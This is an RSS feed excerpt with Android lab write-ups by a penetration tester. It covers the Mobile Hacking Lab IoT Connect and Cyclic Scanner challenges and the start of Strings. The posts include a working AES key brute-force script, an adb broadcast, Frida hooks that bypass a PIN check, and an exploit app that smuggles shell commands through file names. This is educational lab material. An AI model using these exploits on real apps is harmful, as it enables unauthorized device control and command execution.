            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ubPQWfU-dhNEtkEkI-wqgA.png" /><figcaption>Certificate of Completion</figcaption></figure><p>بِسْمِ اللَّهِ الرَّحْمَٰنِ الرَّحِيمِ، وَالصَّلَاةُ وَالسَّلَامُ عَلَىٰ رَسُولِ اللَّهِ</p><p><strong>We Stand with Palestine and don’t recognize a country called Israel.</strong></p><blockquote><strong>Hi everyone, I’m Anas Ibrahim (Anas0x1) - a Junior Penetration Tester<em>.</em></strong></blockquote><h3>Description</h3><p>The app exposes a <strong>globally-registered broadcast receiver</strong> for the MASTER_ON action that reads an integer extra &quot;key&quot; and validates it locally; because the validation material and logic live in the APK (weak AES key derivation from a short decimal), an attacker who reverses or hooks the app can discover or bypass the key and send a crafted broadcast to activate the master switch.</p><h3>Explanation</h3><p>While opening the application on Nox, I found that I couldn’t turn on some devices as a guest user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*Qp7bLrdUbaUlmznZCwS2Gw.png" /><figcaption>Guest users have access to turn on the <strong>fans</strong>.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*CUvjxlaUCeVhPNILxz4U9w.png" /><figcaption>Guests are not allowed to control the <strong>AC</strong>.</figcaption></figure><p>I opened JADX and reversed the AndroidManifest.xml file and found many activities like CommunicationManager and MasterSwitchActivity, and discovered a receiver with an action called MASTER_ON .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IFqQmv9ksHVHpRXUI_S9Bg.png" /><figcaption><strong>Manifest File Overview</strong></figcaption></figure><p>While reversing MasterSwitchActivity, clicking the Master Switch in HomeActivity launches the non-exported MasterSwitchActivity, passing along a Serializable user object. If the user isn&#39;t a guest, their entered PIN is converted to an integer and included in a local broadcast with the action MASTER_ON. Unlike sendBroadcast(), which sends system-wide broadcasts, LocalBroadcastManager.sendBroadcast() restricts the broadcast to within the app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mKKLaokdKlXLFRymLhqXWw.png" /><figcaption><strong>MasterSwitchActivity Flow</strong></figcaption></figure><p>Reversing the CommunicationManager activity, I found that the app registers a global BroadcastReceiver for the action &quot;MASTER_ON&quot;, reads the integer extra &quot;key&quot;, and calls Checker.check_key(key); if the check passes, it invokes turnOnAllDevices() (and shows a toast), otherwise it shows &quot;Wrong PIN&quot;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*inqjU5L06riIYorTDH7tHA.png" /><figcaption><strong>CommunicationManager Activity</strong></figcaption></figure><p>I reversed the Checker class and discovered it contains an AES-encrypted key. The class provides a decryption method that validates the input PIN before allowing all devices to be turned on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7AgRE31FYuEYx8hF5kXfdQ.png" /><figcaption><strong>Checker Class Analysis</strong></figcaption></figure><h3>First Solution</h3><p>I wrote a Python script that brute-forces AES keys (derived from decimal ASCII, zero‑padded to 16 bytes) to decrypt the app’s Base64 ciphertext and find the plaintext. It automates AES‑ECB decryption with PKCS#7 unpadding and quickly discovered the valid key 345 which yields &quot;master_on&quot;.</p><pre>from base64 import b64decode<br># Try imports from common cryptography libs<br>try:<br>    from Crypto.Cipher import AES<br>except Exception:<br>    try:<br>        from Cryptodome.Cipher import AES<br>    except Exception as e:<br>        raise ImportError(&quot;PyCryptodome is required (pip install pycryptodome)&quot;) from e<br>def pkcs7_unpad(data: bytes) -&gt; bytes:<br>    if not data:<br>        raise ValueError(&quot;Invalid padding (empty)&quot;)<br>    pad_len = data[-1]<br>    if pad_len &lt; 1 or pad_len &gt; AES.block_size:<br>        raise ValueError(&quot;Invalid padding length&quot;)<br>    if data[-pad_len:] != bytes([pad_len]) * pad_len:<br>        raise ValueError(&quot;Invalid PKCS#7 padding bytes&quot;)<br>    return data[:-pad_len]<br>def decrypt_with_key_bytes(cipher_b64: str, key_bytes: bytes) -&gt; str:<br>    cipher_bytes = b64decode(cipher_b64)<br>    cipher = AES.new(key_bytes, AES.MODE_ECB)<br>    decrypted = cipher.decrypt(cipher_bytes)<br>    unpadded = pkcs7_unpad(decrypted)<br>    return unpadded.decode(&#39;utf-8&#39;, errors=&#39;strict&#39;)<br># The ciphertext from the app<br>ds = &quot;OSnaALIWUkpOziVAMycaZQ==&quot;<br>found = []<br>for k in range(0, 2000):  # search 0..1999, adjust upper bound if needed<br>    s = str(k).encode(&#39;utf-8&#39;)<br>    key_bytes = s + b&#39;\\x00&#39; * (16 - len(s))  # right-pad with zero bytes to 16<br>    try:<br>        plain = decrypt_with_key_bytes(ds, key_bytes)<br>    except Exception:<br>        continue<br>    if plain == &quot;master_on&quot;:<br>        found.append((k, plain))<br>        print(f&quot;Found! key={k!r} -&gt; plaintext={plain!r}&quot;)<br>if not found:<br>    print(&quot;No key found in the tested range. Try increasing the range.&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Or4tH-JeI_WVaYOWToiE9w.png" /><figcaption>The key has been found: <strong>345</strong>.</figcaption></figure><p>I used adb to send a broadcast to turn on all devices with the following command:</p><pre>adb shell am broadcast -a MASTER_ON --ei key 345</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6qvJa8wLf9m1pMGRlkapWw.png" /><figcaption>Grating access using adb</figcaption></figure><p>Sending the broadcast via adb granted guest users the ability to turn on the AC and all devices.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*g2pOaiLgl4-Y6_8CoBJq1A.png" /><figcaption>POC</figcaption></figure><h3>Second Solution (Exploit App)</h3><p>I developed an exploit app that sends a broadcast with action MASTER_ON and key 345.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NmWbLvFlFho9GAB59WAiSQ.png" /><figcaption><strong>Exploit App</strong></figcaption></figure><p>After installing and running the exploit app and opening it, all devices turned on (TV, AC, etc.).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*ZU3rXL0fzZW1ldmSoaAqKg.png" /><figcaption>TV</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*g2pOaiLgl4-Y6_8CoBJq1A.png" /><figcaption>AC</figcaption></figure><h3>Third Solution (Frida)</h3><p>I wrote frida script, this script waits for the app context, constructs an Intent with action MASTER_ON and integer extra key=345, and calls sendBroadcast from inside the app process.</p><pre>// send_master_on.js<br>// Sends broadcast: action &quot;MASTER_ON&quot; with extra &quot;key&quot; = 345<br><br>Java.perform(function () {<br>    var ActivityThread = Java.use(&#39;android.app.ActivityThread&#39;);<br>    var Intent = Java.use(&#39;android.content.Intent&#39;);<br><br>    // wait until Application context is available<br>    var tries = 0;<br>    function sendOnce() {<br>        try {<br>            var app = ActivityThread.currentApplication();<br>            if (app === null) {<br>                if (++tries &gt; 50) return; // give up after ~5s<br>                setTimeout(sendOnce, 100);<br>                return;<br>            }<br>            var ctx = app.getApplicationContext();<br>            var intent = Intent.$new(&quot;MASTER_ON&quot;);<br>            intent.putExtra.overload(&#39;java.lang.String&#39;, &#39;int&#39;).call(intent, &quot;key&quot;, 345);<br>            ctx.sendBroadcast(intent);<br>            send(&quot;[+] Broadcast sent: MASTER_ON key=345&quot;);<br>        } catch (e) {<br>            send(&quot;[!] Error: &quot; + e);<br>        }<br>    }<br>    sendOnce();<br>});</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*coUivnuwGNgVSLZ4uIifgg.png" /><figcaption>Frida Script</figcaption></figure><p>I also wrote another script that hooks the Checker class and forces Checker.check_key(int) to always return true, allowing any key to pass validation, then sends a MASTER_ON broadcast from the app process. As a fallback the script also calls CommunicationManager.INSTANCE.turnOnAllDevices(ctx) directly to ensure all devices are turned on even if the receiver path fails.</p><pre>// hook_allow_any_key_and_fire.js<br>// Usage:<br>// frida -U -f com.mobilehackinglab.iotconnect -l hook_allow_any_key_and_fire.js --no-pause<br>// or attach:<br>// frida -U -n com.mobilehackinglab.iotconnect -l hook_allow_any_key_and_fire.js<br><br>Java.perform(function () {<br>    var ActivityThread = Java.use(&#39;android.app.ActivityThread&#39;);<br>    var Intent = Java.use(&#39;android.content.Intent&#39;);<br><br>    // Find Checker class with fallback (some builds put it in a defpackage)<br>    var Checker = null;<br>    try { Checker = Java.use(&#39;Checker&#39;); } catch (e) {<br>        try { Checker = Java.use(&#39;defpackage.Checker&#39;); } catch (e2) {<br>            send(&quot;[!] Couldn&#39;t find Checker class: &quot; + e2);<br>            return;<br>        }<br>    }<br><br>    // Install hook: force check_key(int) to always return true<br>    try {<br>        Checker.check_key.overload(&#39;int&#39;).implementation = function (k) {<br>            send(&quot;[*] check_key called with: &quot; + k + &quot;  -&gt; forcing true&quot;);<br>            return true;<br>        };<br>        send(&quot;[*] Hook installed: Checker.check_key(int) now always returns true&quot;);<br>    } catch (hookErr) {<br>        send(&quot;[!] Failed to hook check_key: &quot; + hookErr);<br>        return;<br>    }<br><br>    // Wait for Application context then send broadcast and attempt direct call<br>    var tries = 0;<br>    function ensureAndFire() {<br>        try {<br>            var app = ActivityThread.currentApplication();<br>            if (app === null) {<br>                if (++tries &gt; 50) {<br>                    send(&quot;[!] timed out waiting for Application context&quot;);<br>                    return;<br>                }<br>                setTimeout(ensureAndFire, 100);<br>                return;<br>            }<br><br>            var ctx = app.getApplicationContext();<br><br>            // 1) Send an explicit broadcast (so it reaches the receiver reliably)<br>            try {<br>                var intent = Intent.$new(&quot;MASTER_ON&quot;);<br>                intent.putExtra.overload(&#39;java.lang.String&#39;, &#39;int&#39;).call(intent, &quot;key&quot;, 0); // any key works now<br>                // Optionally set component to be explicit:<br>                // var ComponentName = Java.use(&#39;android.content.ComponentName&#39;);<br>                // intent.setComponent(ComponentName.$new(&quot;com.mobilehackinglab.iotconnect&quot;,&quot;com.mobilehackinglab.iotconnect.MasterReceiver&quot;));<br>                ctx.sendBroadcast(intent);<br>                send(&quot;[+] Sent broadcast: MASTER_ON key=0&quot;);<br>            } catch (bErr) {<br>                send(&quot;[!] Failed to send broadcast: &quot; + bErr);<br>            }<br><br>            // 2) Also attempt to call turnOnAllDevices directly (guarantees effect)<br>            try {<br>                var CM = Java.use(&#39;com.mobilehackinglab.iotconnect.CommunicationManager&#39;);<br>                CM.INSTANCE.turnOnAllDevices.overload(&#39;android.content.Context&#39;).call(CM.INSTANCE, ctx);<br>                send(&quot;[+] Called CommunicationManager.INSTANCE.turnOnAllDevices(ctx)&quot;);<br>            } catch (callErr) {<br>                send(&quot;[!] Could not call turnOnAllDevices directly: &quot; + callErr);<br>            }<br><br>        } catch (e) {<br>            send(&quot;[!] Unexpected error: &quot; + e);<br>        }<br>    }<br><br>    ensureAndFire();<br>});</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ih4YQ8oFMKK5PiQ-yJbK_g.png" /><figcaption>Hooking Checker Class</figcaption></figure><p>Finally, I’ve completed the write-up on exported broadcast receivers and weak key validation. Hope you find it insightful!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*A-snsv4SsqLIYlHq.gif" /><figcaption>The End</figcaption></figure><h4>Contact</h4><p><a href="https://www.facebook.com/profile.php?id=100010037113681&amp;mibextid=ZbWKwL"><strong>Facebook </strong></a><strong>| </strong><a href="https://www.linkedin.com/in/Anas0x1/"><strong>LinkedIn</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af3a425ec8a6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mobile Hacking Lab - Cyclic Scanner]]></title>
            <link>https://anas0x1.medium.com/mobile-hacking-lab-cyclic-scanner-28c72b4b7e54?source=rss-905b5344dc81------2</link>
            <guid isPermaLink="false">https://medium.com/p/28c72b4b7e54</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mobile-pentesting]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[mobilehackinglab]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Anas Ibrahim]]></dc:creator>
            <pubDate>Thu, 13 Nov 2025 17:12:00 GMT</pubDate>
            <atom:updated>2025-11-13T17:16:15.279Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HZ1rU360_IZh8Cy2pJGL3g.png" /><figcaption>Certificate of Completion</figcaption></figure><p>بِسْمِ اللَّهِ الرَّحْمَٰنِ الرَّحِيمِ، وَالصَّلَاةُ وَالسَّلَامُ عَلَىٰ رَسُولِ اللَّهِ</p><p><strong>We Stand with Palestine and don’t recognize a country called Israel.</strong></p><blockquote><strong>Hi everyone, I’m Anas Ibrahim (Anas0x1) - a Junior Penetration Tester<em>.</em></strong></blockquote><h3>Description</h3><p>Welcome to the Cyclic Scanner Challenge! This lab is designed to mimic real-world scenarios where vulnerabilities within Android services lead to exploitable situations. Participants will have the opportunity to exploit these vulnerabilities to achieve remote code execution (RCE) on an Android device.</p><p>I opened the manifest file and noticed these permissions:</p><pre>&lt;uses-permission android:name=&quot;android.permission.MANAGE_EXTERNAL_STORAGE&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.FOREGROUND_SERVICE&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.INTERNET&quot;/&gt;</pre><ul><li><strong>MANAGE_EXTERNAL_STORAGE</strong>: Grants all files access (broad access to external storage). This is a high-privilege permission subject to Play Store policy and runtime prompts; many devices also restrict its use. Prefer scoped storage or the MediaStore APIs where possible.</li><li><strong>FOREGROUND_SERVICE</strong>: Allows the app to start a foreground service (required to show a persistent notification).</li><li><strong>INTERNET</strong>: Grants network access.</li></ul><h3>Explanation</h3><p>I found that the app exposes a single activity, MainActivity, which is exported:</p><pre>&lt;activity<br>    android:name=&quot;com.mobilehackinglab.cyclicscanner.MainActivity&quot;<br>    android:exported=&quot;true&quot;&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.MAIN&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.LAUNCHER&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/activity&gt;</pre><p>While reversing MainActivity and analyzing the source code, I observed that its onCreate() method calls two helper functions: setupPermissionLauncher() and handlePermissions().</p><h4>onCreate()</h4><p>The decompiled onCreate() shows UI initialization and then calls to the permission setup functions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pbak1Eh61wk9RpsHFyjH7g.png" /><figcaption>onCreate() Method</figcaption></figure><h4>setupPermissionLauncher()</h4><p>I analyzed setupPermissionLauncher() and found that it checks whether the app has permission to access external storage using Environment.isExternalStorageManager(). If the permission is granted, it proceeds to configure the UI switch; otherwise, it shows a permission-denied popup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-v9PfNPuoCYFMTAHQRpdrg.png" /><figcaption>setupPermissionLauncher() Method</figcaption></figure><h4>handlePermissions()</h4><p>The handlePermissions() method enforces the same logic: if the app already has the all-files access permission it calls setupSwitch(); if not, it launches the system settings flow to request MANAGE_EXTERNAL_STORAGE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XdJL-OVPBqUcGOo2vMdZLw.png" /><figcaption>handlePermissions() Method</figcaption></figure><h4>setupSwitch()</h4><p>After setupSwitch() is configured, the UI switch controls the scanner. When the switch is turned <strong>on</strong>, the app shows a toast and starts ScanService as a foreground service. If a user attempts to turn the switch <strong>off</strong>, the app prevents it and forces the switch back to <strong>on</strong>:</p><pre>/* JADX INFO: Access modifiers changed from: private */<br>    public static final void setupSwitch$lambda$3(MainActivity this$0, CompoundButton compoundButton, boolean isChecked) {<br>        Intrinsics.checkNotNullParameter(this$0, &quot;this$0&quot;);<br>        if (isChecked) {<br>            Toast.makeText(this$0, &quot;Scan service started, your device will be scanned regularly.&quot;, 0).show();<br>            this$0.startForegroundService(new Intent(this$0, (Class&lt;?&gt;) ScanService.class));<br>            return;<br>        }<br>        Toast.makeText(this$0, &quot;Scan service cannot be stopped, this is for your own safety!&quot;, 0).show();<br>        ActivityMainBinding activityMainBinding = this$0.binding;<br>        if (activityMainBinding == null) {<br>            Intrinsics.throwUninitializedPropertyAccessException(&quot;binding&quot;);<br>            activityMainBinding = null;<br>        }<br>        activityMainBinding.serviceSwitch.setChecked(true);<br>    }</pre><p>I noticed the service is explicitly <strong>not exported</strong>:</p><pre>&lt;service<br>    android:name=&quot;com.mobilehackinglab.cyclicscanner.scanner.ScanService&quot;<br>    android:exported=&quot;false&quot;/&gt;</pre><p>Even though the service is non-exported (so external apps cannot directly send intents to it), it still processes files on external storage, which can be manipulated by other apps or via adb.</p><h4>ScanService</h4><p>The service’s implementation contains a handleMessage() method that walks external storage and calls ScanEngine.scanFile() for each readable file. The service periodically re-schedules itself using a delayed message, creating a recurring scan loop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*laGExuTVDedmvqRZnFm8_g.png" /><figcaption>ScanService uses the scanFile method which exists in the ScanEngine</figcaption></figure><h4>ScanEngine vulnerability (command injection)</h4><p>The ScanEngine class constructs and executes a shell command using the file’s absolute path:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yb6X5N7U3p78wArcyzs81g.png" /><figcaption>Command Injection</figcaption></figure><p>Because the filename is concatenated directly into a shell command and executed with sh -c, filenames containing shell metacharacters (for example, ;, &amp;&amp;, |) can inject arbitrary commands. In other words, any file name on external storage that the scanner reads can become an injection vector.</p><p>Concretely, the scanner runs a command equivalent to:</p><pre>sh -c toybox sha1sum &lt;filename&gt;</pre><h3>First Solution</h3><p>The MainActivity includes a button that starts the scanner service (and displays a persistent notification). Toggle this button <strong>on</strong> to enable the scanner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*U2GG7tR9n1D7fWiD56rOcg.png" /><figcaption>MainActivity</figcaption></figure><p>I pushed a file named ;touch Anas0x1.txt to the SD card. Because the SD card is part of external storage, the file is accessible to the scanner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*2hXXexRMQCT9XB7U6J9q7w.png" /><figcaption>Pushing filename in the /sdcard</figcaption></figure><p>After turning the scanner on, the service processed the SD card. The injected command executed and the Anas0x1.txt file was created successfully, as shown in the evidence screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*q37kE3YtJkS1TRaZSik9zw.png" /><figcaption>The command injection executed and created the file</figcaption></figure><h3>Second Solution (Exploit App)</h3><p>I created a small app that writes a file into the <strong>Downloads</strong> folder. This demonstrates how a test (or malicious) application can place files where the scanner will find them.</p><pre>package com.pentest.exploitapp;<br><br>import android.Manifest;<br>import android.content.pm.PackageManager;<br>import android.os.Bundle;<br>import android.os.Environment;<br>import android.util.Log;<br>import android.view.View;<br>import android.widget.Button;<br>import android.widget.Toast;<br>import androidx.annotation.NonNull;<br>import androidx.appcompat.app.AppCompatActivity;<br>import androidx.core.app.ActivityCompat;<br>import androidx.core.content.ContextCompat;<br>import androidx.core.graphics.Insets;<br>import androidx.core.view.ViewCompat;<br>import androidx.core.view.WindowCompat;<br>import androidx.core.view.WindowInsetsCompat;<br>import java.io.File;<br>import java.io.IOException;<br>public class MainActivity extends AppCompatActivity {<br>    private static final String TAG = &quot;MainActivity&quot;; // Tag for logging<br>    private static final int REQUEST_PERMISSION_WRITE_EXTERNAL_STORAGE = 1;<br>    @Override<br>    protected void onCreate(Bundle savedInstanceState) {<br>        super.onCreate(savedInstanceState);<br>        WindowCompat.setDecorFitsSystemWindows(getWindow(), false);<br>        setContentView(R.layout.activity_main);<br>        Button btnExploit = findViewById(R.id.exploit_btn);<br>        btnExploit.setOnClickListener(new View.OnClickListener() {<br>            @Override<br>            public void onClick(View view) {<br>                createFileInDownloads();<br>            }<br>        });<br>        ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -&gt; {<br>            Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());<br>            v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);<br>            return insets;<br>        });<br>    }<br>    private void createFileInDownloads() {<br>        // Use a safe filename<br>        String filename = &quot;;touch RCE.txt&quot;; // Changed from &quot;;touch rce.txt&quot; for safety<br>        File externalDir = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS);<br>        // It&#39;s good practice to ensure the directory exists, though getExternalStoragePublicDirectory usually does.<br>        if (!externalDir.exists()) {<br>            if (!externalDir.mkdirs()) {<br>                Log.e(TAG, &quot;Failed to create Downloads directory.&quot;);<br>                Toast.makeText(MainActivity.this, &quot;Error: Could not create Downloads directory.&quot;, Toast.LENGTH_LONG).show();<br>                return;<br>            }<br>        }<br>        File file = new File(externalDir, filename);<br>        try {<br>            if (file.createNewFile()) {<br>                Log.i(TAG, &quot;File created: &quot; + file.getAbsolutePath());<br>                Toast.makeText(MainActivity.this, &quot;File Created: &quot; + file.getAbsolutePath(), Toast.LENGTH_LONG).show();<br>            } else {<br>                Log.i(TAG, &quot;File already exists: &quot; + file.getAbsolutePath());<br>                Toast.makeText(MainActivity.this, &quot;File Already Exists: &quot; + file.getAbsolutePath(), Toast.LENGTH_LONG).show();<br>            }<br>        } catch (IOException e) {<br>            Log.e(TAG, &quot;Error creating file: &quot; + file.getAbsolutePath(), e);<br>            Toast.makeText(MainActivity.this, &quot;Error Creating File: &quot; + e.getMessage(), Toast.LENGTH_LONG).show();<br>        }<br>    }<br>}</pre><p>After running the exploit app and clicking the button, the file was created in the Downloads folder. When I opened the vulnerable app and enabled the scanner service, the scanner processed the filename and executed the injected command, demonstrating the exploit app proof-of-concept.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*mAzSzGZPEwQBgPKONVNohQ.png" /><figcaption>Exploit App PoC</figcaption></figure><h3>Third Solution (Frida)</h3><p>I wrote the following Frida script. It performs these actions:</p><ul><li>Runs inside the target app’s Java context and obtains the Downloads directory via android.os.Environment.</li><li>Creates a file named ;touch frida.txt (a filename containing shell metacharacters) in the Downloads folder.</li><li>Calls ScanEngine.scanFile(maliciousFile) directly to force immediate processing of the malicious filename and logs the result.</li></ul><pre>Java.perform(function () {<br>    var File = Java.use(&#39;java.io.File&#39;);<br>    var Environment = Java.use(&#39;android.os.Environment&#39;);<br>    // Get the public Downloads directory (returns a java.io.File)<br>    var downloadsDir = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS.value);<br>    var externalDir = downloadsDir.getAbsolutePath();<br>    // Prepare file<br>    var maliciousFileName = &quot;;touch frida.txt&quot;;<br>    var maliciousFile = File.$new(externalDir, maliciousFileName);<br>    try {<br>        // createNewFile() returns boolean<br>        var created = maliciousFile.createNewFile();<br>        if (created) {<br>            console.log(&quot;[*] File created: &quot; + maliciousFile.getAbsolutePath());<br>        } else {<br>            console.log(&quot;[*] File already exists: &quot; + maliciousFile.getAbsolutePath());<br>        }<br>        // Obtain ScanEngine.INSTANCE and call scanFile(File)<br>        var ScanEngine = Java.use(&#39;com.mobilehackinglab.cyclicscanner.scanner.ScanEngine&#39;);<br>        var scanEngineInstance = ScanEngine.INSTANCE.value;<br>        var result = scanEngineInstance.scanFile(maliciousFile);<br>        console.log(&quot;[*] scanFile result: &quot; + result);<br>    } catch (e) {<br>        console.log(&quot;[!] Failed to create or scan file: &quot; + e);<br>    }<br>    console.log(&quot;[*] Frida script loaded and scanFile method invoked!&quot;);<br>});</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oDB3rLxOx_qJlcdYxWniKg.png" /><figcaption>Run frida script</figcaption></figure><p>The file was created successfully in the Downloads folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*w7_BPW01ukiQCJHU0OHFsw.png" /><figcaption>Download Folder</figcaption></figure><p>After enabling the scanner service in the vulnerable app, the shell executed the filename and the injected command ran, confirming the Frida proof-of-concept.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*eoyxS2K7FaVdwI2ONH1vKA.png" /><figcaption>Frida Script PoC</figcaption></figure><p>Finally, I’ve completed the write-up on achieving command injection and create a file as a POC. Hope you find it insightful!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*A-snsv4SsqLIYlHq.gif" /><figcaption>The End</figcaption></figure><h4>Contact</h4><p><a href="https://www.facebook.com/profile.php?id=100010037113681&amp;mibextid=ZbWKwL"><strong>Facebook </strong></a><strong>| </strong><a href="https://www.linkedin.com/in/Anas0x1/"><strong>LinkedIn</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=28c72b4b7e54" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write-up: Strings — Mobile Hacking Lab]]></title>
            <link>https://anas0x1.medium.com/write-up-strings-mobile-hacking-lab-b16dc5be72eb?source=rss-905b5344dc81------2</link>
            <guid isPermaLink="false">https://medium.com/p/b16dc5be72eb</guid>
            <category><![CDATA[frida]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[mobile-pentesting]]></category>
            <category><![CDATA[mobile-app-development]]></category>
            <dc:creator><![CDATA[Anas Ibrahim]]></dc:creator>
            <pubDate>Thu, 12 Jun 2025 18:22:32 GMT</pubDate>
            <atom:updated>2025-11-13T17:41:57.079Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mobile Hacking Lab - Strings</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5gupRWdFIKSxhrhq17YL7g.png" /><figcaption>Certificate of completion strings lab</figcaption></figure><p>.بِسْمِ اللَّهِ الرَّحْمَٰنِ الرَّحِيمِ، وَالصَّلَاةُ وَالسَّلَامُ عَلَىٰ رَسُولِ اللَّهِ</p><p>We Stand with Palestine and don’t recognize a country called Israel.</p><blockquote><strong><em>Hi everyone, I’m Anas0x1 — a junior penetration tester and part-time bug bounty hunter on HackerOne.</em></strong></blockquote><h3>Challenge Overview</h3><p>This mobile reverse engineering challenge explores deep link exploitation, key decryption, dynamic SharedPreferences manipulation, and memory scanning using Frida. You&#39;ll analyze APK internals, bypass conditional logic implemented in native code, and extract a hidden flag by scanning memory during runtime.</p><p>You can access the lab here: <a href="https://www.mobilehackinglab.com/course/lab-strings"><strong>Strings Lab</strong></a></p><h3>Static Analysis</h3><p><strong>Decompile APK</strong>:</p><pre>apktool d com.mobilehackinglab.challenge -o decompiled/</pre><p><strong>Observations</strong>:</p><ul><li>MainActivity.kt: Simple placeholder activity (displays <strong>“Hello from C++”</strong>).</li><li>Activity2.kt: Not launched directly; guarded by a secret key comparison.</li><li>AndroidManifest.xml: Registers a deep link intent filter:</li></ul><pre>&lt;data android:scheme=&quot;mhl&quot; android:host=&quot;labs&quot;/&gt;</pre><h3>AndroidManifest.xml Overview</h3><p>Using JADX, this manifest defines a debuggable app (com.mobilehackinglab.challenge) with two exported activities, including Activity2 which is accessible via a deep link (mhl://labs).</p><pre>&lt;activity<br>    android:name=&quot;com.mobilehackinglab.challenge.Activity2&quot;<br>    android:exported=&quot;true&quot;&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.VIEW&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&gt;<br>        &lt;data android:scheme=&quot;mhl&quot; android:host=&quot;labs&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/activity&gt;<br><br>&lt;activity<br>    android:name=&quot;com.mobilehackinglab.challenge.MainActivity&quot;<br>    android:exported=&quot;true&quot;&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.MAIN&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.LAUNCHER&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/activity&gt;</pre><h3>MainActivity Analysis</h3><p>Upon reversing MainActivity, we discovered its source code, which reveals a simple UI setup using ActivityMainBinding, a native method call, and a custom method KLOW() that stores the current date in SharedPreferences in DAD4.xml under the key &quot;UUU0133&quot;.</p><pre>package com.mobilehackinglab.challenge;<br>import android.content.SharedPreferences;<br>import android.os.Bundle;<br>import androidx.appcompat.app.AppCompatActivity;<br>import androidx.constraintlayout.widget.ConstraintLayout;<br>import com.mobilehackinglab.challenge.databinding.ActivityMainBinding;<br>import java.text.SimpleDateFormat;<br>import java.util.Date;<br>import java.util.Locale;<br>import kotlin.Metadata;<br>import kotlin.jvm.internal.Intrinsics;<br>/* compiled from: MainActivity.kt */<br>@Metadata(d1 = {&quot;\\u0000(\\n\\u0002\\u0018\\u0002\\n\\u0002\\u0018\\u0002\\n\\u0002\\b\\u0002\\n\\u0002\\u0018\\u0002\\n\\u0000\\n\\u0002\\u0010\\u0002\\n\\u0002\\b\\u0002\\n\\u0002\\u0018\\u0002\\n\\u0000\\n\\u0002\\u0010\\u000e\\n\\u0002\\b\\u0002\\u0018\\u0000 \\f2\\u00020\\u0001:\\u0001\\fB\\u0005¢\\u0006\\u0002\\u0010\\u0002J\\u0006\\u0010\\u0005\\u001a\\u00020\\u0006J\\u0012\\u0010\\u0007\\u001a\\u00020\\u00062\\b\\u0010\\b\\u001a\\u0004\\u0018\\u00010\\tH\\u0014J\\t\\u0010\\n\\u001a\\u00020\\u000bH\\u0086 R\\u000e\\u0010\\u0003\\u001a\\u00020\\u0004X\\u0082.¢\\u0006\\u0002\\n\\u0000¨\\u0006\\r&quot;}, d2 = 